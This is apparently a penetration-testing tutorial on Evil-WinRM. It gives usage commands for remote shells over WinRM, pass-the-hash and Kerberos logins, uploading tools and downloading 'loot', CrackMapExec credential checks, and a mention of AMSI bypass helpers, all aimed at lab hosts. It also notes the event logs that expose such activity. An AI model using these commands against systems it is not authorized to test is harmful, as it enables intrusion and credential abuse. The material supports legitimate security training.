Evil-WinRM: Remote Administration and Shell Access Over WinRM

Windows Remote Management (WinRM) is enabled by default on a huge number of enterprise Windows Server deployments — it’s how admins run PowerShell remoting across the network. Evil-WinRM takes that same legitimate protocol and turns it into a proper interactive shell for authorized penetration testing, with features a plain Enter-PSSession doesn’t give you: file upload/download, in-memory .NET assembly loading, Kerberos ticket support, and AMSI bypass helpers for lab-based EDR evasion research.

I reach for Evil-WinRM constantly in Active Directory labs once I’ve got valid credentials or a hash — it’s usually a cleaner, more stable shell than trying to pivot through other means when port 5985/5986 is open.

How Evil-WinRM Works

Evil-WinRM is a Ruby tool built on the WinRM gem, which implements Microsoft’s WS-Management protocol over HTTP (port 5985) or HTTPS (port 5986). Once authenticated, it opens a remote PowerShell runspace on the target and streams commands/output back over that channel, functionally equivalent to an interactive PowerShell remoting session — but wrapped with pentest-friendly conveniences (colorized output, upload/download commands, in-memory script/DLL loading, command history, tab completion).

Installation

Pre-installed on Kali. Elsewhere, via RubyGems:

gem install evil-winrm

From source:

git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm
bundle install
ruby evil-winrm.rb --help

Verify:

evil-winrm --help

Syntax and Key Flags

evil-winrm -i <target-ip> -u <username> -p <password> [options]

Flag	Purpose
-i, --ip	Target IP or hostname
-u, --user	Username
-p, --password	Password
-H, --hash	NTLM hash (pass-the-hash)
-s, --scripts	Local directory of PowerShell scripts to load
-e, --executables	Local directory of .exe/.dll files for upload
-P, --port	Custom WinRM port (default 5985)
-S, --ssl	Use HTTPS/WinRM over SSL (port 5986)
-r, --realm	Kerberos realm
-k, --kerberos	Use Kerberos authentication (requires a valid ticket)
--no-colors	Disable colored output

Practical Examples (Authorized Lab Target)

1. Basic authenticated connection:

evil-winrm -i 192.168.56.20 -u labadmin -p 'LabPass123!'

Sample output:

Evil-WinRM shell v3.5

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\labadmin\Documents>

2. Pass-the-hash authentication:

evil-winrm -i 192.168.56.20 -u labadmin -H a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4

3. Load local PowerShell scripts for in-session use (e.g., a PowerView copy for authorized AD enumeration):

evil-winrm -i 192.168.56.20 -u labadmin -p 'LabPass123!' -s /home/kali/scripts/

Inside the shell:

*Evil-WinRM* PS C:\Users\labadmin\Documents> menu

4. Upload and download files directly within the session:

*Evil-WinRM* PS C:\Users\labadmin\Documents> upload /home/kali/tools/tool.exe C:\Temp\tool.exe
*Evil-WinRM* PS C:\Users\labadmin\Documents> download C:\Temp\loot.txt /home/kali/loot.txt

5. Connect over WinRM/SSL (port 5986):

evil-winrm -i 192.168.56.20 -u labadmin -p 'LabPass123!' -S

6. Kerberos authentication (after obtaining a valid TGT with a tool like getTGT.py from Impacket, in an authorized AD lab):

evil-winrm -i dc01.labcorp.local -r labcorp.local -k

Real-World Workflow (Authorized Engagement Only)

# Step 1: Confirm WinRM is open and credentials are valid
crackmapexec winrm 192.168.56.20 -u labadmin -p 'LabPass123!'

# Step 2: Establish an interactive shell
evil-winrm -i 192.168.56.20 -u labadmin -p 'LabPass123!'

# Step 3: Inside the session, enumerate the host for authorized privilege escalation testing
*Evil-WinRM* PS C:\> whoami /priv
*Evil-WinRM* PS C:\> Get-LocalGroupMember Administrators

This is a standard pattern in internal AD assessments: validate access with CrackMapExec first (cheap, low-noise), then move to Evil-WinRM for a full interactive session once you know it’ll work.

Integration With Other Tools

• CrackMapExec — for pre-flight credential validation and password spraying against WinRM before establishing a full session.
• Impacket (getTGT.py, secretsdump.py) — for obtaining Kerberos tickets or hashes to feed into Evil-WinRM’s -k/-H authentication modes.
• PowerView / PowerSploit — commonly loaded via -s for in-session Active Directory enumeration once inside the shell.

Troubleshooting

• Connection refused: WinRM isn’t listening — verify with nmap -p5985,5986 <target> first; it may need to be enabled via Enable-PSRemoting on the target (only relevant if you control/administer the lab machine).
• Authentication failures with a hash: confirm the target allows NTLM authentication for WinRM (some hardened environments restrict this to Kerberos only).
• AMSI blocking script execution: this is expected on hardened lab targets and is itself a valid finding — Evil-WinRM includes optional AMSI bypass helpers for authorized detection-evasion research, but usage should be documented clearly in test reporting.

Best Practices

• Always validate WinRM access with a lightweight tool (CrackMapExec) before opening a full interactive session, to avoid unnecessary noise/lockout risk from bad credentials.
• Use -s to keep your commonly used enumeration scripts organized in one directory rather than uploading them ad hoc each session.
• Prefer Kerberos authentication (-k) when working within a domain context that has ticket-based access already established — it’s stealthier and avoids repeated NTLM authentication events.

Common Mistakes

• Forgetting WinRM typically runs on 5985 (HTTP) not 5986 (HTTPS/SSL) by default — using -S against a non-SSL listener will simply fail to connect.
• Not checking whoami /priv and group membership immediately after connecting, missing quick privilege escalation opportunities.
• Repeated failed authentication attempts against domain accounts, risking account lockout — always confirm credentials with a single low-noise check first.

FAQ

Is Evil-WinRM the same as PowerShell Remoting (Enter-PSSession)? They use the same underlying WinRM protocol, but Evil-WinRM adds pentest-specific conveniences: pass-the-hash support, file transfer commands, colorized output, and in-memory script/DLL loading that native PowerShell remoting doesn’t provide out of the box.

Does Evil-WinRM require WinRM to already be enabled on the target? Yes — it doesn’t enable WinRM itself. The target must already have the WinRM service listening (common on Windows Server by default, less common on workstation editions unless configured).

Can Evil-WinRM be detected by EDR/monitoring tools? Yes — WinRM connections and PowerShell command execution generate standard Windows Event Log entries (Event ID 4103/4104 for PowerShell, plus WinRM-specific logs), so it’s fully visible to a properly configured blue team.

Summary

Evil-WinRM is the practical bridge between “I have valid Windows credentials” and “I have a full interactive shell,” built specifically for how penetration testers actually work — file transfers, script loading, and flexible authentication all built in. In any authorized Active Directory assessment where port 5985/5986 is open, it’s usually the fastest, most stable way to get real command execution once access is confirmed.

References

• Evil-WinRM GitHub repository: https://github.com/Hackplayers/evil-winrm
• Kali Linux Tools Listing: https://www.kali.org/tools/evil-winrm/
• Microsoft WinRM documentation: https://learn.microsoft.com/en-us/windows/win32/winrm/portal